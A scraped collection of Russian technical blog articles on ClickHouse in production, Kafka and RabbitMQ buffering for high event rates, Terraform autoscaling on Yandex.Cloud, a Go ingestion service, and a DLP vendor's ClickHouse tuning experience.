Например, можно вспомнить раннюю поддержку UUID, когда запрос вида:

```SELECT * FROM db PREWHERE uuid != '00000000-0000-0000-0000-000000000000'```

Приводил к segfault.

Или когда можно было случайно потерять данные в процессе дедупликации реплицированных партиций. Уникальных случаев у комьюнити наберется ого-го! Поэтому получается, что иногда даже полезнее и достаточно искать свою проблему именно в GitHub, в Issues, по ключевым словам.


А потом оказалось, что данные из ClickHouse слишком трудно визуализировать

Тот же Hive предлагал инструменты, которые позволяли писать запросы и делать визуализацию. Поначалу мы использовали Tabix. Это довольно примитивный клиент, он ходит напрямую в ClickHouse и отображает в браузере результат в виде таблички и простых графиков. Но в итоге взяли инструмент поинтереснее. Redash как раз выкатил бета-версию поддержки ClickHouse.

Параллельно у нас появилась часть данных на базе Redshift. В какой-то момент компания предложила брать данные из ClickHouse и перекладывать в Redshift (который, по сути, обычный SQL и можно использовать инструменты желанной визуализации). Но идея отпала сама собой я просто посчитал, сколько будет стоить кластер Redshift, который поддержит такой поток данных с ClickHouse. Мы тратили около тысячи долларов, если бы заморочились с Redshift платили бы все 30 тысяч. Поэтому продолжили работать с ClickHouse через Redash.

Но все пошло прахом, когда мы решили прикрутить к ClickHouse Tableau и в итоге влетели на 70 тысяч долларов!

Tableau это известная визуализация для баз данных. Когда мы решили это провернуть, официальной поддержки ClickHouse там не было. Зато у них была поддержка PostgreSQL. Какой-то безумец подсказал, что в PostgreSQL можно писать кастомные скрипты и протоколы форвардинга. Через питоний скрипт скрестить ClickHouse и PostgreSQL и добиться визуализации в Tableau! Это была очередная провальная идея. Данные шли только с PostgreSQL. Смысла в этом не было никакого.

Но наш аналитик настаивал. Ему нравился Tableau красивый, понятный, никаких тебе запросов SQL делать не надо, все кнопочками. И нам его все же купили. Потратили около 70 штук и принялись танцевать с бубном вокруг покупки.

Мы даже созвонились с продажниками из Tableau и убеждали их подружить свой продукт с новейшей российской технологией. Уже тогда было понятно, что ClickHouse потихоньку завоюет весь мир. Они лишь вежливо выслушали нас. Что забавно, недавно Tableau сделал кое-какую поддержку драйвера для ClickHouse. Не прошло и двух лет!

Перевести отчеты с Redash на Tableau у нас так и не получилось деньги улетели на ветер. Хорошо, что к тому моменту часть сотрудников освоила ClickHouse я потихоньку всех обучал. Оказалось, что он удобен для андроид-разработчиков и предлагает даже больше возможностей, чем красавчик Tableau.


Самая большая проблема ClickHouse в нем никто не шарит. Там много подводных камней, которые нигде не описаны. Хорошая технология с плохой документацией.

Потребность в использовании есть, но разбираться, как это работает времени нет. Поэтому и случаются разные казусы, вроде целых компаний, которые зарабатывают на консалтинге по ClickHouse.

Сейчас он стал сильно проще, но это по-прежнему не тот продукт, которым можно пользоваться сразу из коробки. Зато когда он таким станет всяким Vertica и Redshift можно будет сворачивать свой бизнес.

Подробнее..

Неужели нельзя обойтись без кафок и рэббитов, когда принимаешь 10 000 ивентов в секунду

21.01.2021 20:07:17 | Автор: admin

Однажды я вел вебинар про то, как принимать 10 000 ивентов в секунду. Показал вот такую картинку, зрители увидели сиреневый слой, и началось: Ребят, а зачем нам все эти кафки и рэббиты, неужели без них не обойтись? Мы и ответили: Зачем-зачем, чтобы пройти собес!

Очень смешно, но давайте я все-таки объясню.


Мы можем принимать ивенты сразу в зеленой области и заставить наши приложения писать их в кликхаус.

Но кликхаус любит, когда в него пишут сообщения пачками

Другими словами, в него лучше запихнуть миллион сообщений, вместо того чтобы писать по одному. Kafka, Rabbit или Яндекс.Кью выступают как буфер, и мы можем контролировать с его помощью входящую нагрузку.

Как бывает: в одну секунду пришло 10 тысяч ивентов, в следующую тысяча, в другую 50 тысяч. Это нормально, пользователи рандомно включают свои мобильные приложения. В таком случае в кликхаус напрямую будет заходить то 2 тысячи, то 10 тысяч сообщений. Но с помощью буфера вы можете подкопить сообщения, потом достать из этой копилки миллион ивентов и направить в кликхаус. И вот она желанная стабильная нагрузка на ваш кластер.

Это все история про очереди

Во-первых, очереди можно использовать для передачи сообщений между различными сервисами.

Например, для бэкграунд задач. Вы заходите в админку магазина и генерируете отчет по продажам за год. Задача трудоемкая: нужно прочитать миллионы строк из базы, это хлопотно и очень долго. Если клиент будет висеть постоянно с открытым http-коннектом 5, 10 минут связь может оборваться, и он не получит файл.

Логично выполнить эту задачу асинхронно на фоне. Пользователь нажимает кнопку сгенерировать отчет, ему пишут: Все окей, отчет генерируется, он придет на вашу почту в течение часа. Задача автоматически попадает в очередь сообщений и далее на стол воркера, который выполнит ее и отправит пользователю на ящик.

Второй кейс про кучу микросервисов, которые общаются через шину.

Например, один сервис принимает ивенты от пользователей, передает их в очередь. Следующий сервис вытаскивает ивенты и нормализует их, к примеру, проверяет, чтобы у них был валидный e-mail или телефон. Если все хорошо, он перекладывает сообщение дальше, в следующую очередь, из которой данные будут записываться в базу.

Еще один поинт это падение дата-центра, в котором хостится база.

Конец, ничего не работает. Что будет с сообщениями? Если писать без буфера, сообщения потеряются. Кликхаус недоступен, клиенты отвалились. До какого-то предела выручит память, но с буфером безопаснее вы просто взяли и записали сообщения в очередь (например, в кафку). И сообщения будут храниться там, пока не закончится место или пока их не прочитают и не обработают.


Как автоматически добавлять новые виртуалки при увеличении нагрузки

Чтобы протестить нагрузку, я написал приложение и протестил автоматически масштабируемые группы.

Мы создаем инстанс-группу. Задаем ей имя и указываем сервисный аккаунт. Он будет использоваться для создания виртуалок.

resource "yandex_compute_instance_group" "events-api-ig" {  name               = "events-api-ig"  service_account_id = yandex_iam_service_account.instances.id

Затем указываем шаблон виртуалки. Указываем CPU, память, размер диска и т.д.

instance_template {    platform_id = "standard-v2"    resources {      memory = 2      cores  = 2    }    boot_disk {      mode = "READ_WRITE"      initialize_params {        image_id = data.yandex_compute_image.container-optimized-image.id        size = 10      }

Указываем, к какому сетевому интерфейсу его подрубить.

}    network_interface {      network_id = yandex_vpc_network.internal.id      subnet_ids = [yandex_vpc_subnet.internal-a.id, yandex_vpc_subnet.internal-b.id, yandex_vpc_subnet.internal-c.id]      nat = true    }

Самое интересное это scale_policy.

Можно задать группу фиксированного размера fixed scale с тремя инстансами A, B, C.

scale_policy {    fixed_scale {      size = 3    }  }  allocation_policy {    zones = ["ru-central1-a", "ru-central1-b", "ru-central1-c"]  }

Либо использовать auto_scale тогда группа будет автоматически масштабироваться в зависимости от нагрузки и параметров.

scale_policy {auto_scale {    initial_size = 3    measurment_duration = 60    cpu_utilization_target = 60    min_zone_size = 1    max_size = 6    warmup_duration = 60    stabilization_duration = 180}

Главный параметр, на который надо обратить внимание, это cpu utilization target. Можно выставить значение, при превышении которого Яндекс.Облако автоматически создаст нам новую виртуалку.

Теперь протестируем автомасштабирование при увеличении нагрузки

Наше приложение принимает различные ивенты, проверяет джейсонку и направляет в кафку.

Перед нашей инстанс-группой стоит load-балансер. Он принимает все запросы, которые приходят на адрес 84.201.147.84 на порту 80, и направляет их на нашу инстанс-группу на порт 8080.

У меня есть виртуалка, которая с помощью Yandex.Tank делает тестовую нагрузку. Для теста я установил 20 тысяч запросов в течение 5 минут.


Итак, нагрузка пошла.

Сначала все ноды будут загружены во всех трех зонах (A, B и C), но когда мы превысим нагрузку, Яндекс.Облако должно развернуть дополнительные инстансы.

По логам будет видно, что нагрузка выросла и в каждом регионе количество нод увеличилось до двух. В балансировку добавилась еще одна машина, количество инстансов тоже везде увеличилось.

При этом у меня был интересный момент. Один инстанс, который находится в регионе С, записывал данные (от момента приема данных до записи) за 23 миллисекунды, а у инстанса из региона А было 12,8 миллисекунд. Такое происходит из-за расположения кафки. Кафка находится в регионе А, поэтому в нее записи идут быстрее.

Ставить все инстансы кафки в одном регионе не надо.

Когда добавилась еще одна машина, новая нагрузка спала, показатель CPU вернулся к норме. Полную аналитику по тестовому запуску можно посмотреть по ссылке: overload.yandex.net/256194.


Как написать приложение для работы с очередями и буферами обмена

Приложение написано на golang. Сначала мы импортируем встроенные модули.

package mainimport (    "encoding/json"    "flag"    "io"    "io/ioutil"    "log"    "net/http"    "strings")

Затем подключаем github.com/Shopify/sarama это библиотека для работы с кафкой.

Прописываем github.com/prometheus/client_golang/prometheus, чтобы метрики передавались в API Metrics.

Также подключаем github.com/streadway/amqp для работы с rabbitmq.

Затем следуют параметры бэкендов, в которые мы будем записывать.

var (    // Config options    addr     = flag.String("addr", ":8080", "TCP address to listen to")    kafka    = flag.String("kafka", "127.0.0.1:9092", "Kafka endpoints")    enableKafka    = flag.Bool("enable-kafka", false, "Enable Kafka or not")amqp    = flag.String("amqp", "amqp://guest:guest@127.0.0.1:5672/", "AMQP URI")enableAmqp    = flag.Bool("enable-amqp", false, "Enable AMQP or not")sqsUri    = flag.String("sqs-uri", "", "SQS URI")sqsId    = flag.String("sqs-id", "", SQS Access id")sqsSecret    = flag.String("sqs-secret", "", "SQS Secret key")enableSqs    = flag.Bool("enable-sqs", false, "Enable SQS or not")        // Declaring prometheus metrics    apiDurations = prometheus.NewSummary(        prometheus.SummaryOpts{            Name:       "api_durations_seconds",            Help:       "API duration seconds",            Objectives: map[float64]float64{0.5: 0.05, 0.9: 0.01, 0.99: 0.001},        },    )

Адрес кафки (строка).

Включить кафку или нет поскольку приложение может писать в несколько разных бэкендов.

В приложении реализована возможность работы с тремя очередям.

Первое это кафка.

Второе amqp для рэббита.

И третья очередь sqs для Яндекс.Кью.

Дальше мы открываем и задаем общие глобальные переменные для работы с нашим бэкендом. Прописываем настройки prometheus для отображения и визуализации.

В main мы включаем кафку, рэббит и создаем очередь с названием Load.

И если у нас включен sqs, мы создаем клиент для Яндекс.Кью.

Дальше наше приложение по http принимает несколько инпоинтов:

/status просто отдает okey, это сигнал для load-балансера, что наше приложение работает.

Если вы кидаете запрос на /post/kafka, ваша джейсонка попадет в кафку. Также работают /post/amqp и /post/sqs.

Как работает кафка

Кафка простой, некапризный и очень эффективный инструмент. Если вам нужно быстро принять и сохранить много сообщений, кафка к вашим услугам.

Как-то на одном из проектов важно было уложиться в маленький бюджет. И вот представьте, мы берем самые дешевые машины без SSD (а кафка пишет последовательно и читает последовательно, так что можно не тратиться на дорогие диски), ставим кафку и zookeeper. Наше скромное решение на три ноды спокойно выдерживает нагрузку 200 тысяч сообщений в секунду! Кафка это про поставил и забыл, за пару лет работы кластер ни разу нас не потревожил. И стоил 120 евро в месяц.

Единственное, что нужно запомнить кафка очень требовательна к CPU, и ей очень не нравится, когда кто-то рядом поджирает проц. Если у нее будет сосед под боком, она начнет тормозить.

Кафка устроена так: у вас есть topic, можно сказать, что это название очереди. Каждый topic бьется на части до 50 partitions. Эти партиции размещаются на разных серверах.

Как вы видите на схемке, topic load разбит на 3 партиции. Partition 1 оказывается на Kafka 1, вторая партиция на кафка 2, третья на 3. Тем самым нагрузка полностью распределяется. Когда кластер начинает принимать нагрузку, сообщения пишутся в один топик, а кафка раскидывает их по партициям, гоняет их по кругу. В итоге все ноды нагружаются равномерно.

Можно заморочиться и разбить топик на 50 партиций, поставить 50 серверов и расположить на каждом сервере по 1 партиции нагрузка распределится на 50 нод. И это очень круто.

Партиции могут реплицироваться благодаря zookeeper. Кафке необходимо минимум 3 ноды зукипера. Например, вы хотите, чтобы ваша партиция реплицировались на 2 ноды. Указываете репликейшн фактор 2 и каждая партиция будет закинута 2 раза на рандомные хосты. И если ваша нода упадет, то благодаря зукиперу кафка это увидит: ага, первая нода в дауне, кафка 2 заберет себе первую партицию.

Как я разворачивал кафку с помощью Terraform

В репозитории у нас есть terraform-файл, он называется kafka.tf .

Вначале мы поднимем 3 зукипера: resource yandex compute instance zookeeper count = 3.

Потом находим zookeeper_deploy, который деплоит наш зукипер. Хорошо, если он будет вынесен на отдельные машины, где кроме него ничего нет. Далее собираем айдишники нод и генерируем файл. Запускаем ansible для настройки зукипера.

Кафку поднимаем аналогично зукиперу и, что важно, после него.

Как работает RabbitMQ

Благодаря тому, что кафка по сути просто сохраняет сообщения на диск и по запросу отдает клиенту с нужного места, она очень и очень шустрая. Производительность рэббита значительно ниже, но он напичкан фичами под завязку! Рэббит пытается сделать очень многое, что естественным образом влечет за собой потребление ресурсов.

Рэббит уже не так прост тут вам и exchanges с роутингом, и куча плагинов для delayed messages, deadletter и прочего хлама. За сообщениями следит сам кролик. Как только консьюмер подтвердил обработку сообщения, оно удаляется. Если консьюмер отвалился посередине рэббит вернет сообщение в очередь. В общем, хороший комбайн, когда нужно перекидывать сообщения между сервисами. Цена этого производительность.

Рэббит практически все делает внутри себя. В нем есть много встроенных инструментов, можно подключать разные плагины, много настроек для работы с сообщениями и очередями.

Если вам нужно перекидывать сообщения между сервисами в небольшом количестве ваш выбор однозначно RabbitMQ. Если вам необходимо быстро сохранять кучу событий метрики от клиентов, логи, аналитика и т.д. ваш выбор kafka. Подробнее о сравнении двух инструментов можно прочитать в моей статье.

И еще: рэббиту не нужен зукипер.

Подробнее..

Вот это скорость! Как мы подружили наш UBA-модуль с ClickHouse и что из этого вышло

02.02.2021 10:16:21 | Автор: admin
В прошлом году мы выпустили мажорную версию своего продукта Solar Dozor 7. В новую версию нашей DLP-системы вошел модуль продвинутого анализа поведения пользователей UBA. При его создании мы попробовали разные базы данных, но по совокупности критериев (о них скажем ниже) в итоге остановились на ClickHouse.

Освоить ClickHouse местами было непросто, многое стало для нас откровением, но главное преимущество этой СУБД затмевает все её недостатки. Как вы поняли из заголовка, речь о скорости. По этому параметру ClickHouse оставляет далеко позади традиционные коммерческие базы данных, которые мы в своих продуктах, в том числе в Solar Dozor, тоже используем.

В общем, если вы давно хотели, но никак не решались попробовать, изучите наш опыт, он может вам пригодиться.


Кадры из мультфильма Турбо (2013 год)

О модуле UBA и его архитектуре


Принцип работы модуля UBA в том, что он анализирует активность сотрудников в реальном времени, проверяя корпоративную почту, и формирует личный профиль устойчивого поведения пользователя. В случае отклонений Solar Dozor сообщает о них, чтобы можно было вовремя заметить нехарактерные действия сотрудников.

Все данные, которые нужны UBA-модулю, лежат в ClickHouse. Его мы ставим заказчику на ту же машину, куда инсталлируем и сам Solar Dozor. В базе храним не письма, а метаданные сообщений, то есть кто, когда, с кем переписывался, какова тема письма, какие вложения оно содержит и т. д. Время хранения можно настраивать, нам для расчетов нужен 90-дневный период. Поддержкой UBA-модуля занимаемся мы, частично это могут делать и админы клиента. В любом случае задача разработчиков максимально автоматизировать администрирование БД.

Идем дальше. Основную работу делает UBA-сервер, который мы писали на Clojure. Он обрабатывает данные, лежащие в ClickHouse, и производит расчеты. UBA-сервер запоминает последнюю дату для обработанных данных и периодически проверяет, есть ли в ClickHouse более свежие данные, чем в расчете. Если есть, то старые результаты удаляются и производится перерасчет.

Еще один компонент системы модуль Indexer, написанный на Scala. Он умеет работать с разными источниками данных. В случае с UBA у Indexer две задачи. Первая вытаскивать метаданные писем пользователей из основной БД и отправлять их в ClickHouse. Вторая выступать механизмом буферизации и грузить данные пачками. Когда перейдем к подробностям работы с ClickHouse, я расскажу об этом подробнее.

Для визуализации информации мы активно используем Grafana как при разработке, так и при добавлении новых фич в готовый продукт. Конечно, мы хотим перетащить все в свой интерфейс, но пока от этой палочки-выручалочки отказаться сложно. На некоторые графики в Grafana мы потратим пару часов, а разработчику понадобилась бы неделя, чтобы сделать то же самое стандартными средствами. Обычно это непозволительная роскошь. Поэтому, если дизайнеры не очень сильно придираются к цвету графика или ширине надписи, Grafana это спасение, ведь время у разработчиков расписано по минутам. Хотя это дополнительный софт, и в случае с некоторыми нашими клиентами иногда все упирается в сертификацию.

Сейчас вокруг ClickHouse появляются дополнительные средства разработки. В частности, мы используем Metabase это удобное средство прототипирования и быстрого моделирования расчетов.

Скорость. Я скорость!


Сначала несколько слов о том, какими критериями мы руководствовались, выбирая СУБД для UBA-модуля. Нас интересовали:

  • стоимость лицензии;
  • скорость обработки;
  • минимальный объем хранения;
  • скорость разработки;
  • минимальное администрирование;
  • минимальные требования к железу.


По первым четырем пунктам ClickHouse уверенно обошел конкурентов, и мы остановились на нем. Поговорим о главном преимуществе ClickHouse, ну, кроме того, что он бесплатный :-)

Скорость, скорость и еще раз скорость. Это главное, почему мы взяли его на борт. С ClickHouse вы сможете обрабатывать миллион записей в секунду на относительно скромных мощностях. Традиционные базы для такого требуют куда более серьезного железа. Скорость работы объясняется несколькими причинами:

  • Принципиально иной метод хранения данных ClickHouse делает их компрессию, архивирует и хранит по колонкам. Соответственно, нагрузка на диск снижается.
  • В ClickHouse распараллеливание задач на несколько потоков не требует дополнительных усилий. СУБД использует все доступные процессоры сервера без вмешательства админа. Если в случае с традиционной базой для этого придется серьезно заморочиться, то ClickHouse делает это по умолчанию. Нам, наоборот, приходится его ограничивать, чтобы остальным сервисам что-то осталось.
  • ClickHouse использует специальные инструкции процессора SSE, AVX, благодаря чему быстро перелопачивает большие объемы данных в оперативке. Тут логика простая: будучи созданным недавно, ClickHouse рассчитан на новое железо и его новые возможности.


Благодаря этому UBA-модуль может быстро строить аналитику по сообщениям пользователя и искать отклонения. В традиционных базах данных несколько миллионов записей будут обрабатываться достаточно долго, в ClickHouse при правильно написанном запросе это можно сделать за секунды.

ClickHouse дает преимущества и на этапе разработки благодаря его быстроте мы можем постоянно проводить эксперименты по обработке данных и проверять гипотезы. И не тратим на это кучу времени.

Какую сборку выбрать


ClickHouse разработали в Яндексе изначально для своих нужд. Но тогда собственные сборки они не выпускали. Это делала сторонняя иностранная компания Altinity.

Многие наши заказчики российские компании, поэтому нам такой вариант не очень подходил, и мы стали собирать ClickHouse сами. Брали исходный код от Яндекса и генерили бинарные пакеты. Сказать, что были сложности, значит, ничего не сказать. Приключений хватало, на них тратилась куча ресурсов и времени. И при этом мы получали утечку памяти, которой в сборках от Altinity не было. По мере работы ClickHouse потреблял все больше памяти. В результате она кончалась, и тот падал. Поэтому мы решили уйти от самостоятельной сборки. Теперь проще есть бинарники от самого Яндекса, в крайнем случае можно взять вариант от Altinity.

Обновления выходят довольно часто, но с ними нужно быть осторожными. В каждой новой версии ClickHouse есть новые фишки, исправления, но, как следствие, и новые баги. Разработчики Яндекса не очень переживают, если новая версия может привести к проблемам с совместимостью. Да, для нас это проблема, а они могут не заморачиваться и добавлять новые функции, исходя из своих потребностей и не тестируя все возможные сочетания функций. Но по мере внедрения ClickHouse в большем количестве крупных компаний отношение разработчиков Яндекса к клиентам постепенно смягчается.

Изначально ClickHouse был NoSQL-СУБД, но теперь он понимает SQL. Это тоже добавило нам немного проблем. Мы использовали прежний вариант, а потом некоторые старые команды поменяли свой смысл. (Оффтоп: лучше не забывать выносить код SQL-запросов из основного кода приложения. Иначе потребуется доработка исходника при самых тривиальных изменениях. Если этого не сделать на этапе разработки, то в нашем случае при необходимости исправить тот или иной запрос у клиента придется ждать выхода новой версии продукта).

Поэтому при обновлении мы берем недавнюю версию и начинаем на ней тестироваться. И если ошибки возникают, мы можем поискать более новую или более старую версию, где их не будет. Из-за этого процесс затягивается. В любом случае тестируйте свой код при обновлении ClickHouse, даже если оно минорное. Тут нужно соотносить выгоду от новых фишек с рисками и с объемом тестирования.



Эгоист и альтруист одновременно


С традиционными базами данных история простая: настроили использовать 20 Гб памяти они будут их использовать и никому не отдадут. С ClickHouse все иначе. Резервировать память под него не получится. Он будет использовать все, что найдет. Но и умеет делиться ClickHouse отдает память, если в данный момент она ему не нужна. С одной стороны, эта особенность позволяет нам развернуть на одной машине несколько сервисов. А с другой стороны, нам приходится ограничивать ClickHouse, так как другие модули Solar Dozor тоже хотят кушать, а он делится памятью только тогда, когда самому не надо. Поэтому прописываем такие параметры:

<max_memory_usage>
<max_memory_usage_for_user>
<max_memory_usage_for_all_queries>

<max_bytes_before_external_sort>
<max_bytes_before_external_group_by>

Число потоков max_threads также влияет на потребление. Поэтому можно поколдовать и с этим параметром. Он определяет параллельность работы ClickHouse. Если уменьшим ее в два раза, то и потребление памяти при параллельных операциях тоже снизится в два раза.

Как я уже сказал, обычно клиент выделяет нам под Solar Dozor одну машину, на ней, кроме UBA, установлены и все остальные модули. Поэтому у истории с бескорыстным ClickHouse есть и обратная сторона. Другой софт может сожрать всю отданную память, и тому уже ничего не достанется, придет OOM Killer. Конечно, было бы хорошо резервировать под ClickHouse определенный объем памяти, но пока такой функции нет.

О правильном секционировании и удачной сортировке


Мы секционировали табличку с метаданными сообщений (кто, кому, когда, с какой темой, какие вложения, размер) по дням. Вообще, для ClickHouse это очень мелкое дробление, но у нас большой объем данных. Поэтому в наших условиях день это оптимальная единица и с точки зрения структуры данных, и с точки зрения администрирования системы.



Таблицу расчетов мы секционировали по месяцам. Понятно, что их объем меньше, чем объем самих данных, поэтому тут агрегация по месяцам удобнее.

Общее правило простое: не нужно делать слишком много секций, даже если кажется, что ваш случай точно требует мелкого дробления данных. Больше секций больше файлов на диске, а значит, операционная система будет тупить. Если нам нужно что-то быстро отобразить в интерфейсе, вытаскивать большой объем данных из одного файла быстрее, чем из множества.

С сортировкой своя история. Данные столбца физически хранятся в отдельном файле в сжатом виде в порядке, указанном в параметре сортировки. При хорошем сжатии файл получается небольшим, и чтение с диска занимает минимальное время. Если данные отсортировать правильно, то одинаковые значения будут храниться рядом, а алгоритмы компрессии ClickHouse хорошо сожмут их. Данные всех столбцов должны быть физически отсортированы в одном и том же порядке. Поэтому, если в таблице много столбцов, надо выбирать, по какому набору столбцов нужно сделать сортировку. Если скомпоновать и сжать эти данные неправильно, интерфейс или пакетная обработка будут тормозить.

И несколько слов о запросах. Их условия должны содержать поле секционирования. Оптимизатор запросов в ClickHouse пока далек от того, что есть в других базах (например, PostgreSQL и Oraсle). Он не понимает зависимости данных между столбцами. Чтобы минимизировать объемы данных, считываемых с диска, нужно явно указывать, какие диапазоны данных нужны для запроса. Условие запроса для этого должно содержать границы данных по условию секционирования. В идеале чтобы каждый запрос доставал данные из одной секции, то есть указываем: сходи в конкретный день и ищи только там.

К архитектурному решению, как мы будем разбивать и сжимать данные, нужно отнестись ответственно. Потому что потом, когда у клиента уже появляется какое-то количество записей в определенном формате, что-то изменить очень сложно. Ведь данные хранятся в архивированном виде, то есть, чтобы их перелопатить, нужна переупаковка.

Любитель есть большими порциями


Если до этого вы работали только с традиционными базами данных, придется перестраиваться. С ClickHouse не прокатит каждый раз вставлять по строчке: он не любит частых вставок. Если у нас много источников данных и каждый вставляет по одной строчке, то ClickHouse становится плохо. То есть, например, он выдерживает 100 вставок в секунду. Вы спросите: Как же так? 100 вставок и все?.. А где же миллион в секунду, о котором говорили? Оказывается, ClickHouse сделан так, что он может пережить 100 вставок в секунду, а в каждой вставке при этом 10 000 строк. Вот вам и тот самый миллион.

Вообще, для себя мы выработали правило: данные нужно вставлять не чаще чем раз в 10 секунд. Так мы получаем необходимую скорость и стабильную работу.

Но нужна промежуточная буферизация, которая накопит этот миллион. Этим у нас как раз занимается Indexer, который я уже упоминал.



В Clickhouse есть такая фишка, как буферные таблицы, но это полумера. С одной стороны, они позволяют волшебным образом исправить ситуацию с частыми вставками без переделки серверного кода. На нашем железе в буферную таблицу можно вставлять в 10 раз чаще, чем в обычную. Но при этом память приходится распределять вручную. Для каждой буферной таблицы нужно назначить заранее определенное число и размер буферов. И использовать эту память под что-то другое будет нельзя. Хорошо бы угадать с этими параметрами сразу, иначе эти таблицы придется пересоздавать.

Поэтому самый правильный вариант буферизация в приложении, что мы и сделали на этапе разработки. Несмотря на эти танцы с бубном, оно того стоит: в традиционной базе данных вставить даже 1000 строк в секунду, скорее всего, не получится даже на очень хорошем железе.

Про мутации


В самых первых версиях ClickHouse не было команд изменения данных. Можно было загрузить табличку и удалить. Потом добавили механизм изменения данных, который называется мутацией. И это еще одна штука, которую нужно понять и принять.

В традиционных базах данных вставил строчку, удалил строчку сразу видишь результат. Тут все иначе. В ClickHouse пишешь команду удаления, она ставится в очередь мутаций, и через некоторое время будет выполнена. То есть по факту это выглядит так: вот данные есть, и сейчас они еще есть, до сих пор есть, а теперь раз и исчезли. Данные могут измениться в любой момент и по другой причине: например, в результате оптимизации или дедупликации число строк может уменьшиться. В ClickHouse нет физических первичных и уникальных ключей. Поэтому в таблицах всегда есть дубли (а если нет, то будут). Данные могут никогда не схлопнуться и/или никогда не дедуплицироваться. Кстати, опция FINAL не работает, если есть незаконченные мутации.

За скорость приходится платить дополнительными телодвижениями разработчиков в коде надо предусмотреть обработку задержек на выполнение мутации, чтобы пользователя это никак не коснулось. В частности, нужно писать код (запросы, логику обработки данных) так, чтобы не падать, если данные не соответствуют идеальному представлению о них.



У нас исходные данные, которые хранятся в ClickHouse, не удаляются и не меняются (за исключением добавления новых данных и удаления старых по партициям). Меняются только расчеты. Мы пересчитываем результаты при появлении новых данных, и у нас могут измениться алгоритмы расчетов при установке новой версии. Все это не требует построчных изменений в данных (операции update и delete). Поэтому в нашем случае очень длинных очередей мутаций не бывает.

Не злоупотребляйте словарями


В ClickHouse есть такой интерфейс словари, куда можно положить любую команду, которая вытащит список из какого-то источника. Например, если нужно залезть во внешний файл со списком сотрудников организации или в Active Directory.

Словари нужны для таких меняющихся данных, как должность, телефон, семейное положение сотрудника и т. п. Если их корректное отображение критично, то словарь необходим. Все, что не меняется, нужно класть в обычные таблицы ClickHouse. Наиболее удобным для нас оказался словарь в JSON, получаемый через http-запрос, самый естественный и самый надежный. Пишем команду сходить на такой-то сервер и взять то, что нам нужно.

В других БД все это сделать сложнее, надо писать специальную программу, которая будет доставать списки из внешних источников. В ClickHouse никаких дополнительных действий не нужно. Он достанет данные из внешнего источника и будет работать с ними как с таблицей.

Словари нужно создавать, поддерживать, дебажить. Но надо помнить, что каждый словарь дополнительная зависимость от внешнего источника и потенциальное место возникновения проблемы, если при запросе окажется, что с источником что-то не так.

Как повысить надежность?


В отличие от традиционных баз данных ClickHouse не гарантирует сохранность всех данных на все 100%. Вообще, для решения этой задачи существуют специальные механизмы транзакций, откатов изменений и восстановления после сбоев. В ClickHouse все это либо не реализовано, либо сделано в минимальном объеме. Это тоже своего рода плата за скорость. Впрочем, если сильно заморочиться, то можно повысить надежность. Но придется строить кластер систему из нескольких серверов, на которые мы установим ClickHouse и сервис для распределенных систем ZooKeeper. Будем делать бэкапы, репликацию данных. Очевидно, что это потребляет дополнительные ресурсы, место на дисках, производительность и т. д.

Тут надо обратить внимание на три момента.
  1. Проектирование
    Если спроектировать кластер неправильно, отказ любого компонента может привести к отказу всего кластера. В каждом конкретном случае выбор схемы будет разным. И нужно понимать, от каких аварий конкретная схема защищает, а от каких нет. Но это тема для отдельной статьи.
  2. Обслуживание
    Все процедуры надо четко описать и протестировать. Ну и вообще, не забывать про золотое правило: работает не трогай!
  3. Тестирование изменений на идентичном стенде
    Любые изменения и обновления надо проверять не на уже работающей системе, а на тестовой. Потому что, если что, смотри пункт 2.

В общем, средства повышения надежности совершенно точно понижают производительность, а если накосячить, то и саму надежность.

Нам пока не приходилось сталкиваться с таким запросом от заказчика. Но когда-то это наверняка произойдет, и мы готовимся к такому варианту.

В любом случае тут все упирается в ваши возможности: стоимость железа, сетевой инфраструктуры, обучения персонала и т. д. нужно соизмерять с реальными потребностями в высокой доступности. Если таких ресурсов нет, может быть, повышенная надежность не так уж и нужна? Понятно, что ClickHouse история не про банковские или другие критичные данные.

И напоследок: проверьте железо заранее


Казалось бы, железо без SSE 4.2 сейчас почти не встретить. Но однажды нам достался мощнейший сервер с процессором, который эти инструкции не поддерживает. А для ClickHouse поддержка SSE 4.2 одно из системных требований. Оказалось, что закончился старый проект, железо хорошее, не выбрасывать же.

Яндекс рекомендует выделять под ClickHouse отдельный сервер как минимум с 30 Гб оперативки. В наших условиях никто не даст под БД отдельное железо. Как я уже говорил, на одном сервере у заказчиков крутится весь Solar Dozor со всеми его модулями и их компонентами. Но, если все настроить правильно, полет пройдет нормально.

В общем, в нашем случае ClickHouse оказался хорошей альтернативой традиционным СУБД. Ему не нужны серьезные мощности, чтобы показывать впечатляющие результаты. ClickHouse делает более удобным процесс разработки, но к нему нужно привыкнуть, подружиться с его особенностями и реально оценивать уровень его возможностей.

Автор: Леонид Михайлов, ведущий инженер отдела проектирования Solar Dozor
Подробнее..

Аналитика событий на опасном производстве, или зачем Цифровому рабочему Kafka, Esper и Clickhouse

23.03.2021 10:07:12 | Автор: admin

Привет, Хабр! Я Алексей Коняев. Последние пару лет участвую в развитии платформы Цифровой рабочий в роли ведущего java-разработчика.

Представьте, что вы приехали на экскурсию на завод. Там огромная территория, и вы вместе с гидом передвигаетесь на машине. Он рассказывает: Посмотрите направо, здесь новое здание литейного цеха, а вот слева старое здание, которое скоро должны снести... Как вдруг через минуту это старое здание взрывают! Гид, конечно, в шоке, да и вы тоже, но, к счастью, всё обошлось. Спрашивается, какого черта машина с экскурсантами оказалась в месте проведения взрывных работ?! И наш Цифровой рабочий на этот вопрос тоже не ответит, но он поможет вовремя предупредить всех заинтересованных лиц о том, что в геозоне, где сейчас проводятся опасные работы, появились посторонние в машине местного гида.

Если в двух словах, то система позволяет предупреждать опасные ситуации на производстве благодаря носимым устройствам Outdoor/Indoor-навигации и видеоаналитике. Цифровой рабочий может определять местоположение, физическое состояние или опасное поведение людей, строить различную аналитику, в том числе realtime, и выполнять разбор полётов, т.е. воспроизводить историю событий, чтобы можно было выяснить, что привело к нежелательной ситуации.

Дальше расскажу про архитектуру нашей системы, как мы используем Kafka, Esper и Clickhouse и на какие грабли уже наступили.

Вообще делать свой продукт это очень интересно, особенно когда ощущаешь пользу от его применения на промышленных объектах. Там бывает очень опасно работать, но люди привыкли рисковать и, как говорят наши заказчики, иногда теряют чувство самосохранения.

